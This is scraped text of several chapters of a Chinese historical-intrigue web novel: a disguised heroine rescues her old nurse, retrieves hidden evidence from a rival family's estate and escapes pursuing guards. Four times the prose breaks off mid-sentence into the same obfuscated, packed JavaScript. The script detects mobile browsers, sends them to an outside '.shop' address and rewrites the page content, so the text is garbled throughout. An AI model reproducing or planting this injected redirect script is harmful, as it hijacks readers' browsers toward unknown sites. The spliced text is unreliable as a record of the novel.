她手指轻轻抚过那些字。 生母写下这句话时,是否料到女儿有一天会千里南下,在仇家的地盘上冒险? 是否料到这条路上,每一步都是荆棘? 窗外天色渐渐暗下来。 老何端了晚膳进来,两菜一汤,简单但热乎。谢青梧慢慢吃着,脑子里却在想晚上的行动。 子时出发,丑时到山脚,寅时进村,天亮前离开。 时间很紧,不能出错。 吃完饭,老何送来夜行衣和钩索。夜行衣是深蓝色的粗布衣,针脚细密,穿着合身。钩索是麻绳改的,一头系了个铁钩,磨得尖。 “公子试试。”老何说。 谢青梧换上夜行衣,活动了一下手脚,还算灵活。她把钩索缠在腰间,外面罩上普通的外袍。 “车备好了,就在后门。”老何低声说,“赶车的是小人的侄子,可靠,嘴严。他知道该怎么做。” “好。”谢青梧点头,“我子时准时出发。” 离子时还有一个多时辰。 谢青梧坐在客房里,闭目养神。耳朵却听着外面的动静,打更声,风声,远处隐约的狗吠。 时间一点点过去。 更鼓敲了四下,子时到了。 她睁开眼,站起身,吹灭灯。 推开门,老何已经在门外等着,手里提着一盏昏暗的灯笼。 “公子,这边走。” 两人悄声穿过院子,来到后门。一辆普通的青篷马车停在门外,车辕上坐着一个年轻汉子,见他们出来,点了点头。 谢青梧登上车,老何低声交代:“阿福,一切听公子吩咐。” “叔,我明白。” 车帘落下,马车缓缓驶入夜色。 谢青梧坐在车里,手按在腰间的钩索上。 冰凉的触感,让她清醒。 今夜这一趟,不能失败。 34.夜访周家村 马车在夜色里行了近一个时辰,停在后山山脚。 阿福压低声音:“公子,到了。从这儿往上走,半山腰有条小路通村里。我在山下等着,您完事了学三声鸟叫,我接应。” 谢青梧点点头,下了车。 山脚下黑漆漆的,只有月光透过云层漏下一点微弱的光。她适应了会儿黑暗,看清了上山的路。 确实是条小路,窄得只容一人通过,两边长满杂草。她紧了紧腰间的钩索,开始往上走。 路难走,碎石多,脚踩上去沙沙响。她走得很慢,尽量放轻脚步,耳朵竖着听周围的动静。 风声,虫鸣,远处偶尔传来几声狗吠。 没有别的声音。 走了约莫两刻钟,到了半山腰。小路在这里分了岔,一条继续往上,一条平着往村里去。她选了平的那条,又走了一段,眼前豁然开朗。 村子就在下面。 二十来户人家,零零散散分布着,大多已经熄了灯,只有一两户还亮着微弱的光。村子最里头,靠山的那户院子,就是乳娘周氏的住处。 谢青梧蹲在树后观察了一会儿。 村口那棵老槐树下,果然有两个人影,靠着树干坐着,手里好像拿着什么东西,偶尔动一下。 盯梢的。 她收回目光,看向周氏的院子。院子不大,土坯墙,木门关着。墙不算高,翻过去应该不难。 她借着夜色掩护,绕到院子后面。这里离后山更近,墙外就是树林,隐蔽性好。 从腰间解下钩索,她掂了掂铁钩的重量,看准墙头,轻轻一抛。铁钩勾住墙头,她拉了拉,确认牢固,然后手脚并用爬了上去。 墙头有些碎瓦,她小心避开,翻身跳进院子。 落地时很轻,像猫一样。院子里静悄悄的,堂屋门关着,西厢房窗子里透出一点微弱的光。 她走到窗边,轻轻敲了敲。 里面传来警惕的声音:“谁?” “周嬷嬷,是我。”谢青梧声音压得很低,“京城来的,姓谢。” 屋里静了一瞬,接着是急促的脚步声。门吱呀一声开了条缝,一张苍老的脸探出来,借着月光看清谢青梧的瞬间,眼睛瞪大了。 “小……小姐?” 谢青梧闪身进去,关上门。 屋里点着一盏小油灯,光线昏暗。周氏看起来比记忆中老了很多,头发白了大半,脸上皱纹深深,但眼神还是清亮的。 她盯着谢青梧看了又看,嘴唇哆嗦着,眼泪一下就出来了:“真是小姐……长这么大了……老奴都快认不出来了……” 谢青梧心里一酸,扶住她:“嬷嬷,别哭。我时间不多,得长话短说。” 周氏抹了把眼泪,连连点头:“小姐坐下说,坐下说。” 两人在桌边坐下。谢青梧开门见山:“嬷嬷,我这次来江州,是想问当年我娘的事。还有,谢明远是不是找过你?” 周氏脸色变了。 “小姐怎么知道谢明远……”她顿了顿,忽然明白了,“小姐,你是不是拿到那本账本了?” “是。”谢青梧从怀里掏出账本,递过去。 周氏接过账本,手都在抖。她翻开看了几页,眼泪又涌出来:“就是这个……林家就是为这个败的……王家,王家那些杀千刀的……” “嬷嬷,您慢慢说。”谢青梧握住她的手,“把您知道的都告诉我。” 周氏深吸一口气,稳了稳情绪。 “小姐,您娘是江州林家的大小姐,林家当年是江州数一数二的商号。王家那时候还是个小商户,想攀林家的高枝,求娶您娘,老爷没答应。” 她抹了抹眼泪:“后来王家不知怎么攀上了京里的关系,生意越做越大。他们看上了林家的盐引和矿脉,就设了个局,诬陷林家走私铁器通敌……老爷气病了,没多久就去了。家产充公,家破人亡……” 谢青梧静静听着,手指慢慢收紧。 “您娘那时候已经怀了您,被谢家……谢远山强娶进门。”周氏声音哽咽,“她生下您后,身子一直不好。临终前,她把这个交给我,让我一定收好,等您长大了交给您。” 她从怀里掏出一个油纸包,一层层打开,里面是一块白绢,上面用血写着字。 血书。 谢青梧接过白绢,手有些抖。 上面是生母林氏的字迹,清秀却有力。除了倾诉对女儿的思念和期望,还写了几句话: “梧儿,若你看到这封信,娘已经不在了。林家冤屈,证据藏在老宅旧园湖石下。湖心亭往东十步,假山石底有暗匣。取之,可证王家之罪。然王家势大,切莫硬碰,需借力打力。娘只愿你平安,不必报仇,但求心安。” 谢青梧看着那几行血字,眼睛发热。 不必报仇,但求心安。 可这仇,怎能不报?这冤,怎能不申? 她小心收好血书,看向周氏:“嬷嬷,王家的人是不是在找你?” 周氏点头:“半年前就开始了。村里常来生人打听,我不敢出门,装病躲着。但这样下去不是办法……小姐,您快走吧,江州太危险了。” “您跟我一起走。”谢青梧说,“我在京城有朋友,可以安置您。留在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973486|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这儿太危险。” 周氏犹豫:“可我走了,他们更会怀疑……” “已经怀疑了。”谢青梧语气坚决,“您留在这儿,他们迟早会动手。跟我走,至少安全。” 她顿了顿:“而且您是我娘身边的人,是重要人证。将来对簿公堂,需要您作证。” 周氏想了想,终于点头:“好,我跟小姐走。” “那您简单收拾一下,只带要紧的东西。”谢青梧说,“我安排人送您从另一条路走,安全些。” 周氏起身去收拾,动作很轻。 谢青梧走到窗边,往外看了看。村子里还静悄悄的,村口那两个人影还在。 时间不多了。 她回身,帮周氏收拾。其实没什么好带的,几件旧衣裳,一点碎银,还有一个小木匣子。 “这是什么?”谢青梧问。 周氏打开匣子,里面是一对银镯子,已经发黑了。“这是您娘留给您的,说等您出嫁时戴……虽然您现在扮着男装,但总归是您娘的心意。” 谢青梧接过匣子,心里沉甸甸的。 收拾妥当,她走到门边,听了听外面的动静。 还是静。 “嬷嬷,我们从后墙走,翻出去就是后山。”她低声说,“我的人在山下等着,送您去安全的地方。” 周氏点点头,紧紧跟着她。 两人悄声出了屋,来到后院墙边。谢青梧先翻上去,然后把钩索放下来,拉周氏上去。老人家身子还算硬朗,费了些劲,总算上来了。 跳下墙,钻进树林,沿着小路下山。 走到半路,谢青梧停下来,学了三声鸟叫。 不一会儿,阿福从暗处走出来:“公子。” “这是我嬷嬷,你连夜送她去……”谢青梧报了个地址,是云知意安排的另一个安全屋,“路上小心,别让人盯上。” “公子放心。”阿福扶住周氏,“嬷嬷,咱们走这边。” 周氏回头看了谢青梧一眼,眼泪又涌出来:“小姐,您一定要小心……” “我会的。”谢青梧握了握她的手,“嬷嬷保重。” 两人消失在夜色里。 谢青梧站在原地,看着他们走远,才转身往回走。 血书在怀里贴着心口,温热的,沉甸甸的。 生母的冤屈,林家的血债,都在这一方白绢上。 而证据,就在林家老宅。 她抬头看了看天色,月亮已经偏西。 快天亮了。 她得在天亮前赶回绸缎庄。 然后,去林家老宅。 35.老宅探秘 回到绸缎庄时,天边已经蒙蒙亮了。 老何整夜没合眼,一直在后堂等着。看见谢青梧翻墙进来,他悬着的心才落下:“公子可算回来了,还顺利吗?” “顺利。”谢青梧脱下夜行衣,“嬷嬷已经送走了。何掌柜,林家老宅现在怎么样了?” 老何脸色严肃起来:“老宅在城东,本来是林家祖宅。林家败落之后,一大半都被王家占了,改成仓库和下人的住处。只有后园那片还荒着,一直没人打理。” “后园是不是有个湖?” “有,是个小湖,早年修了座湖心亭。不过荒了这么多年,亭子塌得只剩一半了。”老何想了想,“公子要去那里?” 谢青梧点点头:“得去一趟。何掌柜有老宅的旧图纸吗?” “有。”老何起身,从书架最底下翻出一卷发黄的图纸,“这是二十年前的图了,现在样子可能变了,但位置大体错不了。” 图纸在桌上摊开。林家老宅占地不小,前后三进院子,带着东西跨院,后园确实有个湖,湖心标着一座小亭子。 “湖心亭往东十步……”谢青梧用手指在图上比划了一下,“大概在这儿,假山附近。” 老何凑近看了看:“假山那片应该还在,王家没动过后园。但是公子,老宅现在有王家的护院守着,日夜都有人巡逻。您想进去,不容易。” “白天好进还是夜里好进?” “夜里。”老何说,“可夜里巡逻也紧。王家在宅子里存了不少货物,看得严。” 谢青梧盯着图纸,心里默默盘算。 从后园的墙翻进去,离假山最近。后园墙外是条小巷,白天有人走动,夜里安静。护院主要守在前院和仓库,后园荒废,他们去得少。 有机会。 “何掌柜,帮我准备点东西。”她说,“深色衣服,钩索,还有……石灰粉,有用处。” 老何愣了一下:“石灰粉?” “万一被发现,撒一把能迷眼,趁机脱身。” 老何明白了,点点头:“我这就去准备。公子先歇歇吧,您一整夜没睡了。” 谢青梧确实累了,但睡不着。她回到客房,从怀里取出那方血书,又看了一遍。 生母的字迹,一笔一画都透着决绝。 湖心亭往东十步,假山石底有暗匣。 证据就在那里。 她收好血书,躺到床上闭眼养神。脑子里却停不下来,想着晚上的行动路线,可能遇到的麻烦,脱身的法子。 想着想着,竟迷糊糊睡了过去。 再睁眼已经是下午。老何送了饭过来,还有她要的东西。深灰色布衣,钩索,一小包石灰粉用油纸包着,外加一把短匕首。 “公子,匕首留着防身。”老何说,“不过能不用最好别用,见了血就难收拾了。” “我知道。”谢青梧把东西收好,“何掌柜,今晚子时我出发。如果天亮前我没回来……” 她顿了顿,“您就照云姑娘交代的,把铺子关了,离开江州。” 老何脸色一变:“公子千万别这么说,您一定能平安回来。” 谢青梧笑了笑,没再多说。 有些话,得先说清楚。 下午她又仔细看了老宅的图纸,把路线牢牢记在心里。后园墙哪段比较矮,假山在什么位置,从哪里撤退最近,反复想了好几遍。 天色慢慢暗了下来。 吃过晚饭,谢青梧换上深灰布衣,把钩索缠在腰间,石灰粉和匕首贴身放好。血书和账本留在客房,用油布包严实藏在床板下。 要是回不来,至少这些证据还在。 子时到了。 老何送她到后门,阿福已经等在那儿了。还是那辆青篷马车,静悄悄地驶进夜色里。 这次路近,两刻钟就到了城东。马车停在一条僻静巷口,阿福压低声音说:“公子,从这儿往前走,第二个路口右转就是老宅后巷。小的在这儿等着您。” 谢青梧点点头,下了车。 巷子里漆黑一片,只有远处隐约传来打更的声音。她贴着墙根走,脚步轻得听不见。到第二个路口右转,果然看见了林家老宅的后墙。 墙很高,青砖砌的,顶上还插着碎瓷片。但靠近后园的那一段墙年头久了,砖缝松了,矮了一截。 她观察了一会儿,确定四周没人,才掏出钩索。 铁钩甩上去,卡住了墙头。她拉了拉,正要往上爬,忽然听见墙里边有脚步声。 她立刻蹲下身,躲进阴影里。 墙内传来两个人说话的声音。 “……后园这片真不用去?” “去什么去,荒了十几年了,鬼影子都没有。把前院和仓库看好就行了。” “可我听说,昨天大老爷发了大火,说有人盯上咱们王家了……” “那是京城的事,跟咱们江州有什么关系。走走走,巡完这趟回去睡觉。” 脚步声渐渐远了。 谢青梧等了一会儿,确定人走远了,才重新起身,迅速爬上墙头。 墙内果然是后园。荒草长得老高,树木东倒西歪,还能看出点当年的模样。远处有光亮,应该是前院的方向。 她轻轻跳下墙,落地时滚了一圈,没发出什么声响。 按照记好的路线,她朝湖的方向走去。 园子荒得厉害,石板路都碎了,杂草淹到膝盖。她走得很小心,尽量不碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979471|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出动静。月亮偶尔从云里露出来,照亮眼前的路。 走了大概一刻钟,看见了湖。 湖不大,水已经浑浊了,漂着枯叶。湖心亭果然塌了一半,柱子歪斜着,在夜里看起来像个鬼影。 她走到亭子边,面朝东,开始数步子。 一步,两步……十步。 停住。 眼前是一片假山石,大小石块堆叠在一起,上面长满了青苔。她蹲下身,仔细摸索。 血书上说“假山石底有暗匣”,可假山这么多石头,到底是哪一块? 她伸手一块一块摸过去。石头冰凉,湿漉漉的。摸到第三块时,感觉底下是空的。 用力一推,石头动了。 下面果然有个暗匣,石头的,不大,表面刻着简单的花纹。她小心地把匣子取出来,沉甸甸的。 正要打开,忽然听见远处传来一声铃响。 很轻,但很清脆。 她心里一紧。 这是……警铃? 王家在老宅设了机关? 她立刻把匣子塞进怀里,起身就要走。可是已经晚了,前院方向传来人声,还有火光朝这边移动。 “后园有动静!” “快去看看!” 谢青梧咬咬牙,转身往墙边跑。可没跑几步,就看见前面有火把的光。 前路被堵住了。 她马上改变方向,往湖边跑。湖水虽然浑浊,说不定能藏身? 正想着,身后传来喊声:“在那儿!有人!” 火光逼近,她来不及多想,一头扎进了湖里。 水很冷,刺骨的冷。她憋着气往下沉,手里紧紧抱着那个石匣。 湖面上,火光晃动,人声杂乱。 “跳湖了?” “搜!活要见人死要见尸!” 她在水底睁开眼,模糊看见岸上的人影。至少五六个,都拿着火把和棍棒。 不能上去。 她悄悄往湖的另一边游,尽量不发出声音。幸好湖里有水草,能挡一挡。 游到对岸,她小心探出头。这边离墙近,但岸上也有火光。护院们正在湖边搜寻,有人已经下了水,在湖里摸索。 必须趁现在。 她深吸一口气,悄无声息地爬上岸,借着草丛的遮挡,猫着腰往墙边跑。 二十步,十步,五步…… 到了墙下,她掏出钩索正要甩,忽然听见身后一声大喝:“站住!” 来不及了。 她回过头,看见三个护院举着火把冲过来。领头的是个壮汉,手里提着刀。 跑不掉了。 她咬了咬牙,手伸进怀里,摸到了那包石灰粉。 36.惊险脱身 三个护院举着火把围了上来,火光把他们的脸照得忽明忽暗,一个个眼神凶得吓人。领头的是个壮汉,手里提着刀,眼睛死死盯住谢青梧怀里那个石匣子。 “手里拿的什么?交出来!” 谢青梧没吭声,手在怀里摸到了那包石灰粉,还有云知意给的烟雾丸。她心怦怦跳得厉害,脑子里却格外清楚。 不能硬来,对方人又多又有刀。 得把场面搅乱,趁乱才能跑。 她慢慢朝后退,后背一下子抵到了冰凉的砖墙。壮汉咧嘴冷笑:“还退?小子,把东西放下,饶你一条命。” 另外两个护院也从两边包了过来,退路全给堵死了。 就是这时候。 谢青梧猛地从怀里掏出石灰粉,朝三人脸上狠狠一扬。白茫茫的粉扑在火光里腾起一团雾,那三人根本没想到,赶忙闭眼往后躲。 “哎哟!我眼睛!” “是石灰!当心!” 就这一眨眼的工夫,她又掏出那颗烟雾丸,使劲往地上一砸。嘭的一声闷响,浓浓的黑烟立刻冒出来,滚滚地裹住了四周。 这是云知意特制的烟雾丸,烟又浓又呛,能撑上好一阵子。 谢青梧屏住气,转身就往墙上爬。钩索还挂在墙头,她抓住绳子,手脚并用拼命向上蹬。身后传来连连的咳嗽和骂声,有人在黑烟里胡乱冲撞。 “人呢?” “跑了!墙上有绳子!” 她翻上墙头,回头瞅了一眼。黑烟还没散,三个护院在里面打转,有人正朝墙这边冲过来。 不能待在这儿。 她纵身往下一跳,落地时脚崴了一下,钻心的疼让她倒吸一口冷气。可哪敢停,咬咬牙爬起来就往巷口奔。 身后传来翻墙落地的声响,人追来了。 巷子里漆黑一片,她全凭记忆往前冲。脚踝疼得厉害,每跑一步都像扎了根针。但她不能停,停下就是死路一条。 快到巷口时,她一眼看见了阿福的马车。 阿福显然也听见动静了,正伸着脖子焦急张望。一看见她冲出来,连忙挥手:“公子,快过来!” 谢青梧冲上马车,帘子刚放下,就听见巷子里传来喊叫:“在那儿!那辆马车!” “快走!”她急声喊道。 阿福一甩鞭子,马车猛地冲了出去。 车后追赶的脚步声和喊声越来越近:“站住!拦住那辆车!” 马车在夜色里狂奔,拐过一个又一个弯。谢青梧死死抓着车框,脚踝的疼痛一阵阵袭来,额头上全是冷汗。 “公子,您伤着了?”阿福回头问。 “脚崴了,不要紧。”谢青梧咬着牙,“甩掉他们没有?” 阿福往后看了看:“拉开一段了,可他们还跟着。公子,咱们往哪儿去?” 谢青梧脑子转得飞快。 不能回绸缎庄,会连累老何。也不能去客栈,王家的人肯定在全城搜捕。得找个地方先躲起来,熬到天亮再说。 她忽然想起云知意给的另一个地址,在城西,是个小染坊,也是云知意说的听雪楼的一处落脚点。 “去城西杨柳巷,第三家染坊。” “好!” 马车又一个急拐,钻进一条窄巷。后面的追兵声渐渐远了,但还没彻底甩掉。阿福赶车是把好手,专挑小路走,七拐八绕,终于把尾巴甩没了。 大约一刻钟后,马车在杨柳巷停了下来。 巷子里静悄悄的,第三家染坊门关着,门缝里透出一点微光。谢青梧忍着痛下车,上前敲门。 三长两短。 门开了条缝,一个老妇人探出脸:“哪位?” “云姑娘让我来的。”谢青梧压低声音。 老妇人打量她一眼,侧身让开:“进来吧。” 谢青梧闪身进去,阿福把马车赶到后院。老妇人关上门,这才看清谢青梧浑身湿透,走路还一瘸一拐的。 “受伤了?” “脚扭了。”谢青梧坐下,从怀里掏出那个石匣,还好,没沾水。 老妇人端来热水和干净布巾:“先擦擦,我去拿药。” 谢青梧擦干脸和手,这才觉得冷。湖水冰得很,加上这一路拼命跑,浑身直打颤。她裹紧衣服,看向那个石匣。 匣子不大,石头做的,表面刻着简单的云纹。她试着打开,盖子卡得紧,用力才撬开一条缝。 里面果然有东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979472|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>半本账册,纸页泛黄但保存得挺好。还有几封信,信封上没写字,可火漆印很特别,是个狼头的图案。 她拿起账册翻了翻,心跳不由快了。 这比之前那本记得更细,不光写了铁器走私的数量、时间、路线,还记了私矿的位置、产量,甚至有几笔银钱往来,指向京城里某个当官的。 那几封信,是王家和北边来往的密信。信里用暗语写了交货的时间地点,还有一句:“事情办成,必定重谢。” 通敌的铁证。 谢青梧手有点发颤。 有了这些,王家的罪就板上钉钉了。走私,私矿,通敌,哪一条都够砍头的。 可她心里也明白,这些东西现在还不能见光。王家在江州势力大,京城也有靠山。贸然拿出来,不但扳不倒王家,自己恐怕还得搭上性命。 得等,等到合适的时候。 老妇人拿了药回来,见她对着账册出神,轻声说:“公子先上药吧,脚伤了得赶紧治。” 谢青梧回过神,收好账册和信:“多谢您。” 药是普通的跌打药膏,抹在脚踝上,火辣辣地疼。老妇人手法麻利,帮她包扎妥当:“伤得不重,养两天就好。公子今晚就住这儿,后院有间屋,干净的。” “给您添麻烦了。” “云姑娘交代过,您来了务必照顾好。”老妇人端来一碗姜汤,“喝了吧,驱驱寒气。” 谢青梧接过姜汤,热乎乎喝下去,身上才暖了一些。 外面传来打更声,四更天了。 快亮了。 老妇人领她到后院屋子休息。屋子简陋但干净,床铺被褥都是新换的。谢青梧躺下,脚踝还疼,心里却踏实了不少。 证据拿到了,乳娘送走了,这趟没白来。 就是没想到王家在老宅装了警铃,差点栽在那儿。幸好云知意给的烟雾丸顶用,不然今晚真出不来了。 她闭上眼睛,脑子里还忍不住回想刚才的情景。 三个护院,一把刀,浓烟滚滚。 就差一点。 可终究还是差了一点。 她翻了个身,手碰到枕边的石匣。 窗户外头,天渐渐泛白了。 37.风声鹤唳 天刚蒙蒙亮,王宅前院已经聚了一群人。 王家家主王崇山坐在太师椅上,脸色铁青。下面跪着昨晚那三个护院,为首那个壮汉额头磕在地上,不敢抬头。 “丢了什么?”王崇山声音不高,但压着一股火。 “回……回家主,是个石匣子。”壮汉声音发颤,“藏在后园假山底下,我们一直不知道那儿有东西。昨晚有人潜入,触动了警铃,等我们赶到,那人已经跳湖跑了……” “跑了?”王崇山猛地一拍桌子,“三个大活人,让一个贼跑了?还让人家跳了湖游到对岸,翻墙溜了?” 三个护院抖得更厉害了。 “家主,那贼……那贼用了下作手段,撒石灰,扔烟雾弹。我们一时不察,才让他钻了空子……” “废物!” 王崇山站起身,在厅里踱了几步。石匣子……林家老宅……假山底下…… 他忽然想起二十年前,林家败落时,他派人把老宅翻了个底朝天,就是没找到那本最关键的账册。当时以为林老爷临死前销毁了,难道……是藏起来了? 如果真是那东西…… 他后背冒出一层冷汗。 “那贼长什么样?”他转身问。 “天黑,没看清。”壮汉忙说,“个子不高,身形偏瘦,像是个……像是个读书人。” “读书人?”王崇山眼神一厉,“江州城里的读书人,敢动我王家的宅子?” “可能……可能不是本地的。”另一个护院小声说,“听口音,有点像北边来的。” 北边。 京城。 王崇山心头一跳。半个月前谢明远来信,说谢家那个庶子谢怀瑾可能南下了,手里拿着林家的旧账本,让他务必留意。 难道……是那小子? “传话下去。”他沉声道,“全城暗查,所有客栈、车马行、码头,凡是生面孔,尤其是年轻书生模样的,一个不漏。还有,周家村加派人手,那个老妇人盯紧了,绝不能再出岔子。” 管家连忙应声:“是,老爷。” “还有,”王崇山顿了顿,“去府衙打声招呼,就说王家遭了贼,丢了重要物件,请知府大人行个方便,协助搜查。” “小人明白。” 管家带着人退下了。三个护院还跪着,王崇山扫了他们一眼:“自己去领二十鞭子,再扣半年工钱。下次再出这种事,就不是鞭子这么简单了。” “谢家主开恩……” 三人连滚爬爬地出去了。 厅里只剩王崇山一个人。他走到窗边,看着外面渐渐亮起来的天色,心里那股不安越来越重。 二十年了,林家的旧案就像一根刺,扎在肉里,不碰不疼,一碰就流血。 本以为时间久了,刺会化在肉里。没想到,现在有人要把这根刺生生拔出来。 谢怀瑾…… 一个十五岁的庶子,哪来这么大本事?哪来这么大胆子? 他忽然想起京城那位靠山前些日子传来的消息:谢怀瑾秋闱中举,进了国子监,还得了三公主青眼。 如果只是这样,倒也不足为惧。一个寒门举子,再得宠也不过是个读书人。 可如果那小子手里真有林家的完整证据,如果那小子铁了心要翻案…… 王崇山手指微微收紧。 不行,绝不能让他成事。 城西杨柳巷,染坊后院。 谢青梧醒来时,脚踝还肿着,但疼得轻了些。老妇人端了早饭进来,小米粥,咸菜,还有个煮鸡蛋。 “公子感觉好些了?” “好多了,多谢。”谢青梧坐起身,“外面……有什么动静吗?” 老妇人脸色凝重:“有。一早就有衙役在街上转悠,说是查贼。还有王家的人,挨家挨户打听,有没有生人借宿,尤其是年轻书生。” 果然。 谢青梧慢慢喝着粥:“染坊这边……” “公子放心,染坊平日里人来人往,生面孔多,一时半会儿查不到这儿。”老妇人说,“但您最好别出去,等风头过了再说。” 谢青梧点头。她本来也没打算出去,脚伤没好,出去也是添麻烦。 “何掌柜那边有消息吗?”她问。 “有。”老妇人压低声音,“早上何掌柜派人递了话,说王家震怒,全城暗查。周家村那边也加了人手,幸亏您提前把周嬷嬷送走了,不然现在肯定被盯死。” 谢青梧心里一松。乳娘安全就好。 “何掌柜还说,让您安心在这儿养伤,需要什么他派人送来。”老妇人顿了顿,“不过……王家这次动静太大,连知府衙门都惊动了。公子,您拿的那个东西,是不是很要紧?” 谢青梧没直接回答:“是很要紧,所以王家才这么急。” 老妇人明白了,不再多问:“那您好好歇着,我去前面看着。有事您敲敲墙,我听见就过来。” “有劳了。” 老妇人出去了。谢青梧靠在床上,从枕边拿起那个石匣,又打开看了看。 账册和密信都在,纸张有些潮,但字迹清晰。她小心地一页页翻过,把关键内容记在心里。 走私的铁器数量,私矿的位置,北边接应的人,还有京城那位官员的名字…… 每一条,都是王家的死穴。 但现在还不是用的时候。 王家在江州一手遮天,在京城也有靠山。贸然把这些东西拿出来,不但扳不倒王家,自己还可能被灭口。 得等,等一个合适的时机,等一个能压得住王家的人。 或者,等她自己有足够的力量。 她合上石匣,把它重新藏好。 窗外传来街上的声音,有衙役的吆喝,有百姓的议论,乱糟糟的。她在屋里都能感觉到那种紧张的气氛。 王家这次是真急了。 也好,他们越急,破绽就越多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983682|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她躺回床上,闭上眼睛养神。脚踝还疼,但不碍事。现在最重要的就是养好伤,然后想办法离开江州,回京城。 证据已经拿到,乳娘已经送走,这一趟的目的达到了。 剩下的,就是安全撤退。 可王家把城封得这么紧,怎么走? 她睁开眼,看着屋顶。 得想个办法,一个王家想不到的办法。 而此时,周家村村口。 两个王家派来的眼线蹲在茶馆里,眼睛盯着进村的路。他们已经在这盯了半年,早就腻了,但今天上头特意交代,要加倍小心。 “你说,昨晚老宅真进贼了?”一个瘦子低声问。 “那还有假。”另一个胖子撇嘴,“听说丢了要紧东西,老爷发了好大的火。不然能全城搜查?” 瘦子喝了口茶:“那跟咱们有什么关系?咱们盯的是那个老妇人。” “你傻啊。”胖子压低声音,“老宅丢的东西,跟林家有关。那个老妇人是林家旧人,你说有没有关系?” 瘦子一愣:“你是说……那贼可能是冲着老妇人来的?” “谁知道呢。”胖子朝村里努努嘴,“反正上头说了,盯紧点。要是那老妇人有什么动静,立刻报上去。” 两人正说着,忽然看见村里出来个人,是周氏的邻居,一个五十多岁的妇人,挎着篮子像是要去买菜。 胖子使了个眼色,瘦子起身跟了上去。 “婶子,买菜去啊?” 那妇人吓了一跳,看清是瘦子,才松了口气:“是、是啊。两位爷还没走啊?” “走走走,这就走。”瘦子笑嘻嘻地,“对了,周婶子这两天怎么样?病好点没?” 妇人眼神闪了闪:“还、还那样,老毛病了,起不来床。” “哦……”瘦子拖长了声音,“那她家里人没来看她?” “她哪有什么家里人,就一个远房侄子,一年来不了一回。”妇人说着,匆匆走了,“我先去买菜了,两位爷自便。” 瘦子看着她走远,回到茶馆。 “怎么样?” “说还病着。”瘦子坐下,“但我看她眼神不对,像在撒谎。” 胖子眯起眼睛:“今晚,咱们摸进去看看。” “啊?这……合适吗?” “有什么不合适的。”胖子冷笑,“老爷说了,非常时期,用非常手段。万一那老妇人已经跑了,咱们还在这儿傻等,到时候吃不了兜着走。” 瘦子想了想,点头:“行,听你的。” 两人对视一眼,心里都清楚。 今晚这一趟,必须去。 染坊后院里,谢青梧忽然打了个寒颤。 她睁开眼,心里莫名有些不安。 像是有什么事,要发生了。 她坐起身,看向窗外。 天色阴沉,像是要下雨。 江州城,起风了。 38.返程筹谋 在染坊藏到第三天,谢青梧的脚踝肿消了大半,已经能慢慢走路了。 老妇人每天送饭送药,顺便带回外面的消息。王家还在全城搜查,衙役一天来两趟,街坊四邻都被问遍了。但染坊这边确实隐蔽,加上平日里送货取货的人多,生面孔不显眼,一直没被盯上。 这天下午,老妇人端药进来时,脸色比平时更凝重。 “公子,何掌柜递了紧急消息。” 谢青梧放下手里的账册——她正趁着养伤的机会,把新旧证据重新整理誊抄:“什么消息?” “王家的人昨晚去了周家村。”老妇人压低声音,“发现周嬷嬷不见了。今早王家大宅里发了大火,王崇山把手下骂得狗血淋头。现在搜查更严了,连出城的车马都要查三遍。” 谢青梧手一顿。 果然,还是被发现了。幸好她动作快,提前两天把乳娘送走。不然现在,人证物证可能都保不住。 “何掌柜还说,”老妇人继续道,“王家怀疑潜入老宅的人和接走周嬷嬷的是同一伙,现在已经不是搜贼,是搜‘同党’了。公子,您得赶紧想个法子离开江州,这儿太危险了。” 谢青梧点点头。她当然知道危险,但怎么走是个问题。 脚伤还没全好,走路一瘸一拐,出城容易被盯上。王家现在肯定在城门设了卡,专门查年轻书生模样的。她虽然换了粗布衣,扮作染坊学徒,但身形气质改不了,细心的人还是能看出来。 “何掌柜有什么建议吗?”她问。 